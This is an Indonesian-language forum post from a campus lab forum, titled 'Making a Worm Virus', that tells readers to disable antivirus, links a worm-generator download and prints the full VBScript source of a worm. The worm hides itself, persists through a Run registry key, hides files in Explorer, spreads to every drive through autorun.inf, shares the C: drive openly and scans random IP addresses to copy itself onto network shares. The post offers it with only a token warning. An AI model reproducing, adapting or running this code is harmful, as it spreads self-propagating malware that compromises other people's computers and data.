Forum Laboratorium BSI Bekasi
Selamat Datang pengunjung...

Jika anda sudah terdaftar dalam forum ini silahkan login, namun jika tidak harap mendaftar dahulu untuk melihat forum-forum yang dikunci...

Forum ini adalah forum yang didirikan oleh Asisten BSI untuk berbagi pengetahuan tentang apa saja....

Semoga forum ini bermanfaat....


Forum Komunitas Lab BSI Bekasi yang ditujukan untuk sharing ilmu pengetahuan tentang apa saja dan juga sebagai tempat nongkrong kaum intelektual
 
HomeFAQSearchRegisterLog in

Share | 
 

 Membuat Virus Worm

View previous topic View next topic Go down 
AuthorMessage
zaidkhusain
Head Administrator
Head Administrator


Jumlah posting : 117
Poin : 2147483647
Reputasi : 1
Join date : 2011-05-07
Age : 26
Lokasi : di Rumah
Warning :

PostSubject: Membuat Virus Worm   Tue May 10, 2011 11:19 am

Assalamualaikum

pernah denger worm???yap cacing komputer atau
dalam keamanan komputer, adalah sebuah program komputer yang dapat
menggandakan dirinya secara sendiri dalam sistem komputer. Sebuah worm
dapat menggandakan dirinya dengan memanfaatkan jaringan
(LAN/WAN/Internet) tanpa perlu campur tangan dari user itu sendiri. Worm
tidak seperti virus komputer biasa, yang menggandakan dirinya dengan
cara menyisipkan program dirinya pada program yang ada dalam komputer
tersebut, tapi worm memanfaatkan celah keamanaan yang memang terbuka
atau lebih dikenal dengan sebutan vulnerability.
kita belajar membuatnya yukkkk....

1. nonaktifkan antivir ente2 semua
2.salah penggunaan jgn salahin ane yak klo bisa kerjain di kompi yang emang buat percobaan ginian (emang ci bentukna vbs)
3.download toolna gan http://www.4shared.com/get/XNZVJSdi/Vbswg2BFix.html
4.tinggal dijalanin n buat sesuai kalian mo format gambar, html dll
5.yang mo make coding jga banyak cuman ane belon paham untuk ngejelasinna gan cekibrot codingna gan
Code:
'54807463
On Error Resume Next
Dim Wshshell,Markas,fso,a,RG,raxa,raxb,raxc,raxd,rand,dot,drivecon,sharename,count
count = "0"
dot = "."
drivecon="0"
set wshnetwork = wscript.createobject("wscript.network")
Set Wshshell = Wscript.CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
RG = "Software\Microsoft\Windows\CurrentVersion"
Set Markas = fso.GetSpecialFolder(0)
SU = Wshshell.SpecialFolders("AllUsersStartUp")
SU = Replace(SU, "C:", "s:")

If fso.FileExists("autorun.inf") then
Wshshell.Run "explorer.exe "
End if

Wshshell.Run("net share system=C:\ /unlimited"), 0, true

Randomize
For i =1 to 8
r = int(rnd * 50) + 66
polm = polm & Chr(r)
next
polm = Chr(39) & polm & Chr(13) & Chr(10)

Set dropper = fso.OpenTextFile(Wscript.ScriptFullName, 1)
strRan = dropper.readline
src = dropper.readall
strRan = polm
randmat()

Do
If not fso.FileExists(Markas & "\sabotage.vbs") then
Set dropper = fso.CreateTextFile(Markas & "\sabotage.vbs", True)
dropper.write strRan
dropper.write src
dropper.Close
fso.GetFile(Markas & "\sabotage.vbs").attributes = 39
Wshshell.Run "wscript.exe " & Markas & "\sabotage.vbs"
End if

Wshshell.RegWrite "HKLM" & RG & "\Run\WinSystem", Markas & "\sabotage.vbs"
Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\HideFileExt", "1", "REG_DWORD"
Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\HIDDEN", "0", "REG_DWORD"
Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\SHOWSUPERHIDDEN", "0", "REG_DWORD"
for each a in fso.drives
If a.isready then
fso.GetFile(a & "\sabotage.vbs").Attributes = 0
Set dropper = fso.CreateTextFile(a & "\sabotage.vbs", True)
dropper.write strRan
dropper.write src
dropper.Close
fso.GetFile(a & "\sabotage.vbs").Attributes = 39
fso.GetFile(a & "\autorun.inf").Attributes = 0
Set auto = fso.CreateTextFile(a & "\autorun.inf", True)
auto.WriteLine("[autorun]")
auto.WriteLine("ShellExecute=wscript.exe sabotage.vbs")
auto.Close
fso.GetFile(a & "\autorun.inf").Attributes = 39
End if
next

If not Wscript.ScriptFullName = Markas & "\sabotage.vbs" then
Wscript.Quit
End if

do while drivecon = "0"
check()
shareformat()
wshnetwork.mapnetworkdrive "s:", sharename
enumdrives()
loop
copyfiles()
disconnect()
Wscript.Sleep 60000
Loop

function disconnect()
wshnetwork.removenetworkdrive "s:"
drivecon = "0"
end function

function copyfiles()
Set fso = CreateObject("scripting.filesystemobject")

fso.copyfile Wscript.ScriptFullName, SU & "\sab0tage.vbs"

end function

function check()
raxd = raxd + 1
if raxd = "255" then randmat()
end function

function shareformat()
sharename = "\" & raxa & dot & raxb & dot & raxc & dot & raxd & "\C"
end function

function enumdrives()
Set odrives = wshnetwork.enumnetworkdrives
For i = 0 to odrives.Count -1
if sharename = odrives.item(i) then
drivecon = 1
else
' drivecon = 0
end if
Next
end function

function randum()
rand = int((254 * rnd) + 1)
end function

function randmat()
if count < 50 then
raxa=Int((16) * Rnd + 199)
count=count + 1
else
randum()
raxa= rand
end if
randum()
raxb=rand
randum()
raxc=rand
raxd="1"
end function

pake notepad terus simpan dgn ekstensi .vbs (visual basic script) jadi ada dua cara serah mo ente pain tuh dah nyang penting jgn buat jahat z nyoba boleh Very Happy
moga bermanfaat

WASSALAM

SEBARKANLAH WALAUPUN CUMA SATU AYAT
IKATLAH ILMUMU DENGAN CARA MENULISNYA
Back to top Go down
 
Membuat Virus Worm
View previous topic View next topic Back to top 
Page 1 of 1
 Similar topics
-
» Cara membuat diy protein skimmer
» Tips membuat aquascape
» 100k searches virus, it redirects my google search to a google fishing site
» possible virus
» Recipe.com free groceries sweeps *usa only*

Permissions in this forum:You cannot reply to topics in this forum
Forum Laboratorium BSI Bekasi :: TIPS DAN TRICK :: VIRUS DAN ANTIVIRUS :: VIRUS-
Jump to: